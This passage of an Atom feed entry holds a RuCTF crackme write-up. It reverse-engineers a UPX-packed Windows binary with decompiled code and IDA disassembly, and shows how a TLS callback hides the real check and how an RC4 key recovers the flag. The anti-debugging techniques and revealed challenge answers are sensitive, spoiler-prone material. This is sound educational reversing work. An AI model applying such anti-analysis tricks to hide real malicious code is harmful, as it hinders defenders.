                        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__int8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lstrcmpA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpString1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                                &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;good job, put flag into system&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
                                &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;nope...&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;!-- more --&gt;

&lt;p&gt;lsString1 is easy to find as it’s hardcoded – &lt;code class=&quot;highlighter-rouge&quot;&gt;oh_nasty_boy!you_hacked_me:(hehe&lt;/code&gt;. Pass it as an argument and we get:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;good job, put flag into system&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Strange as it is obviously not the correct flag because we know that the valid one starts with &lt;code class=&quot;highlighter-rouge&quot;&gt;RUCTF_&lt;/code&gt;. At this point I was a bit confused by the fact that &lt;code class=&quot;highlighter-rouge&quot;&gt;main&lt;/code&gt; function was quite simple and didn’t have any obvious jumps or calls. But looking further down the dissasemly I found quite interesting snippet of code that didn’t have any references (or so I though at the moment):&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;sub_4010D0:
.text:004010E6                 mov     [ebp+var_3C], '¦'
.text:004010EA                 mov     [ebp+var_3B], 'L'
.text:004010EE                 mov     [ebp+var_3A], '¦'
.text:004010F2                 mov     [ebp+var_39], 3
.text:004010F6                 mov     [ebp+var_38], 0FCh
.text:004010FA                 mov     [ebp+var_37], 10h
.text:004010FE                 mov     [ebp+var_36], 28h
.text:00401102                 mov     [ebp+var_35], dl
.text:00401105                 mov     [ebp+var_34], 7Ah
.text:00401109                 mov     [ebp+var_33], cl
.text:0040110C                 mov     [ebp+var_32], 8Ch
.text:00401110                 mov     [ebp+var_31], 94h
.text:00401114                 mov     [ebp+var_30], 2Eh
.text:00401118                 mov     [ebp+var_2F], 0F9h
.text:0040111C                 mov     [ebp+var_2E], 69h
.text:00401120                 mov     [ebp+var_2D], 24h
.text:00401124                 mov     [ebp+var_2C], 9Fh
.text:00401128                 mov     [ebp+var_2B], 7Dh
.text:0040112C                 mov     [ebp+var_2A], 27h
.text:00401130                 mov     [ebp+var_29], 0C1h
.text:00401134                 mov     [ebp+var_28], 0C4h
.text:00401138                 mov     [ebp+var_27], 9
.text:0040113C                 mov     [ebp+var_25], cl
.text:0040113F                 mov     [ebp+var_24], 75h
.text:00401143                 mov     [ebp+var_23], 0EEh
.text:00401147                 mov     [ebp+var_21], 97h
.text:0040114B                 mov     [ebp+var_20], 8Dh
.text:0040114F                 mov     [ebp+var_1F], 0AFh
.text:00401153                 mov     [ebp+var_1E], 79h
.text:00401157                 mov     [ebp+var_1D], dl
.text:0040115A                 mov     [ebp+var_1C], 0
.text:0040115E                 mov     [ebp+oh_nice_key], 86h
.text:00401162                 mov     [ebp+var_17], 0DEh
.text:00401166                 mov     [ebp+var_16], 9Ah
.text:0040116A                 mov     [ebp+var_15], 0F8h
.text:0040116E                 mov     [ebp+var_14], 0DFh
.text:00401172                 mov     [ebp+var_13], 0F5h
.text:00401176                 mov     [ebp+var_12], al
.text:00401179                 mov     [ebp+var_11], 0E9h
.text:0040117D                 mov     [ebp+var_10], 0DDh
.text:00401181                 mov     [ebp+var_F], al
.text:00401184                 mov     [ebp+var_E], 0EFh
.text:00401188                 mov     [ebp+var_D], 0
.text:0040118C                 mov     [ebp+var_1], 0
.text:00401190                 mov     [ebp+var_C], eax
.text:00401193                 mov     [ebp+var_8], esp&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;After spending quite some time with unpacked binary I finally decided to give it a try and run the original. Now the hardcoded string doesn’t seem to be valid! Sow now it was obvious that there’s something not quite right with the upx unpacking stub. Peeking at the original binary in IDA we see two functions: start and TlsCallback_0. &lt;code class=&quot;highlighter-rouge&quot;&gt;start&lt;/code&gt; is not really insteresting as it’s pretty much unmodified upx unpacker but TlsCallback_0 is, on the other hand, the one where all the difference is. Tlscallback functions are used with thread programming to initialize data. The interesting thing about them is that these function are executed by windows pe loader before the program’s entry point. So if you want to break on a tlscallback function you have to setup your debugger to pause before the default entry point. More info can be found here – &lt;a href=&quot;https://isc.sans.edu/diary/How+Malware+Defends+Itself+Using+TLS+Callback+Functions/6655&quot;&gt;https://isc.sans.edu/diary/How+Malware+Defends+Itself+Using+TLS+Callback+Functions/6655&lt;/a&gt;.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;TlsCallback_0:
UPX1:00406D04                 public TlsCallback_0
UPX1:00406D04 TlsCallback_0   proc near           
UPX1:00406D04
UPX1:00406D04 arg_4           = byte ptr  8
UPX1:00406D04
UPX1:00406D04                 nop
UPX1:00406D05                 cmp     [esp+arg_4], 1
UPX1:00406D0A                 jnz     short locret_406D23
UPX1:00406D0C                 mov     eax, large fs:18h
UPX1:00406D12                 mov     eax, [eax+30h]
UPX1:00406D15                 add     byte ptr [eax+2], 0B6h
UPX1:00406D19                 mov     dword ptr ds:loc_406C73+1, 0B0h
UPX1:00406D23
UPX1:00406D23 locret_406D23:                      
UPX1:00406D23                 retn
UPX1:00406D23 TlsCallback_0   endp&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Running original binary leads to unhandled exception caused by invalid opcodes just before string comparison. These invalid bytes are inserted with tlscallback. Skipping tlscallback with a jump over memory editing instructions leads to correct program execution but again treats the hardcoded string &lt;code class=&quot;highlighter-rouge&quot;&gt;oh_nasty_boy!you_hacked_me:(hehe&lt;/code&gt; as valid. Looking closer at main’s prologue we see a pointer being pushed onto stack:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;00401220   55               PUSH EBP
00401221   8BEC             MOV EBP,ESP
00401223   6A FF            PUSH -1
00401225   68 F8214000      PUSH arcfour.004021F8
0040122A   68 241B4000      PUSH arcfour.00401B24   ; JMP to MSVCR90._except_handler3&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This address references a list of exception handlers located at 0x004012AC and 0x004012C5 . So now with breakpoints on both handlers we pass exception to program. Tracing down sub_4010D0 we observe an ascii string &lt;code class=&quot;highlighter-rouge&quot;&gt;Oh,NiC3_k3Y&lt;/code&gt; generating on stack. Code generation:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;.text:004011C3 loc_4011C3:                             
.text:004011C3                 xor     [ebp+eax+oh_nice_key], cl
.text:004011C7                 inc     eax
.text:004011C8                 cmp     eax, 0Bh
.text:004011CB                 jb      short loc_4011C3&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Task’s name infers that rc4 stream cipher is used so we might assume that &lt;code class=&quot;highlighter-rouge&quot;&gt;Oh,NiC3_k3Y&lt;/code&gt; is the corresponding encryption/decryption key. This key is used in sub_401000 to modify argument that is passed to program. Further down the code the modified argument string is compared with a seemingly random buffer in memory. Since encryption/decryption is identical I passed “random” buffer’s address to sub_401000, which successfully decrypted the buffer which turn out to be a valid flag.&lt;/p&gt;</content>

      
      
      
      
      

      
        <author>
            <name>Artem Kondratenko</name>
          
          
        </author>
      

      

      

      
        <summary type="html">Task description: Crack me please. Flag format is &quot;RUCTF_.*&quot; Ok so we’re presented with a arcfour.exe binary. root@kali:~/vmshare/ctf/reverse/original# file arcfour.exe arcfour.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX сompressed Well, simple enough! Just unpack it with upx -d and load into IDA : int __cdecl main(int argc, const char **argv, const char **envp) { int result; if ( argc == 2 ) { if ( lstrlenA(argv[1]) == 32 ) { dword_40337C = (int)argv[1]; if ( (unsigned __int8)(lstrcmpA(lpString1, argv[1]) &amp;amp; 1 ^ 1) == 1 ) result = puts(&quot;good job, put flag into system&quot;); else result = puts(&quot;nope...&quot;); } else { result = 0; } } else { result = 0; } return result; }</summary>
      

      
      
    </entry>
  
  
</feed>
